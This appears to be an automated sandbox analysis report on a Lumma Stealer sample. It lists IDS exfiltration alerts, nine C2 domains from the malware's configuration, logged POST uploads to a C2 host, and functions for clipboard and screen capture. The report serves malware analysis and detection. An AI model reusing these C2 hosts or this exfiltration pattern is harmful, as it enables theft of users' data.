Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49736 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: undesirabkel.click
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M5RFGGPFQ6E23C58Q2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18170Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HX8AF28N9IWIBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8761Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WK0XXEF4YWLIUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20414Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3ZHG7RNY9ZSH6DB20User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1270Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=74MLWMEBR72User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551336Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: undesirabkel.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: undesirabkel.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: undesirabkel.click

Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 6QLvb9i.exe, 00000002.00000003.1746450071.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 6QLvb9i.exe, 00000002.00000003.1746515234.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1746450071.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757063638.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 6QLvb9i.exe, 00000002.00000003.1746515234.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 6QLvb9i.exe, 00000002.00000003.1746515234.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1746450071.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757063638.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 6QLvb9i.exe, 00000002.00000003.1746515234.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 6QLvb9i.exe, 00000002.00000003.1744979308.0000000003038000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977905716.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000002.2977935969.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1846843860.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1837648788.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745148320.0000000003077000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1824680621.0000000005594000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1808157111.000000000558C000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1824592885.000000000558D000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1744979308.000000000304F000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745103987.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757097320.000000000558E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/
Source: 6QLvb9i.exe, 00000002.00000003.1808432083.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/..z
Source: 6QLvb9i.exe, 00000002.00000002.2977935969.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/Z
Source: 6QLvb9i.exe, 00000002.00000003.1846843860.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.2476874534.00000000030D3000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1846952294.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1867596100.0000000003077000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745103987.0000000003066000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1757097320.000000000558E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/api
Source: 6QLvb9i.exe, 00000002.00000003.1745148320.0000000003077000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745103987.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/api6
Source: 6QLvb9i.exe, 00000002.00000003.1846843860.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1846952294.00000000030BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apiD
Source: 6QLvb9i.exe, 00000002.00000003.1827327514.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apibV7RydFqE=
Source: 6QLvb9i.exe, 00000002.00000003.1846843860.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/j
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 6QLvb9i.exe, 00000002.00000003.1809756882.00000000056A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_00433890 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00433890

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_052E1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_052E1000

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_00433890 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00433890

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_00433A40 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_00433A40

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008F0060	0_2_008F0060
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008E6127	0_2_008E6127
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008FB59E	0_2_008FB59E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008EA982	0_2_008EA982
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008FBD99	0_2_008FBD99
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 0_2_008FDFE2	0_2_008FDFE2
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00438810	2_2_00438810
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041E150	2_2_0041E150
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00428130	2_2_00428130
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004191D6	2_2_004191D6
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004231E0	2_2_004231E0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040E9AA	2_2_0040E9AA
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00412AE0	2_2_00412AE0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004253D0	2_2_004253D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042DBBA	2_2_0042DBBA
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040C44A	2_2_0040C44A
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00424428	2_2_00424428
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004214C0	2_2_004214C0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004384D0	2_2_004384D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041A5C1	2_2_0041A5C1
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043FD90	2_2_0043FD90
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043BE00	2_2_0043BE00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004406C0	2_2_004406C0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040CF4B	2_2_0040CF4B
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00408710	2_2_00408710
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040DF94	2_2_0040DF94
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00440000	2_2_00440000
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040A8D0	2_2_0040A8D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041988F	2_2_0041988F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042F8B6	2_2_0042F8B6
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00403940	2_2_00403940
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041F950	2_2_0041F950
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041C950	2_2_0041C950
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042A100	2_2_0042A100
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00415102	2_2_00415102
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041E92F	2_2_0041E92F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004279D0	2_2_004279D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004391D0	2_2_004391D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043F9D0	2_2_0043F9D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004091F0	2_2_004091F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00405980	2_2_00405980
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00448185	2_2_00448185
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00425A40	2_2_00425A40
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040F250	2_2_0040F250
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043F250	2_2_0043F250
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00406270	2_2_00406270
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00420270	2_2_00420270
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004372C9	2_2_004372C9
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040CAD0	2_2_0040CAD0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004402E0	2_2_004402E0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004042F0	2_2_004042F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041DAA8	2_2_0041DAA8
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043C360	2_2_0043C360
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00428B70	2_2_00428B70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0042F301	2_2_0042F301
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00418328	2_2_00418328
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041739F	2_2_0041739F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0040DC4E	2_2_0040DC4E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043EC5E	2_2_0043EC5E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0041B470	2_2_0041B470
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00431C70	2_2_00431C70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00418C28	2_2_00418C28
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043F430	2_2_0043F430
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00429CC0	2_2_00429CC0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043F4C0	2_2_0043F4C0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_00437CC0	2_2_00437CC0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_0043D4CF	2_2_0043D4CF
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 2_2_004074E0	2_2_004074E0
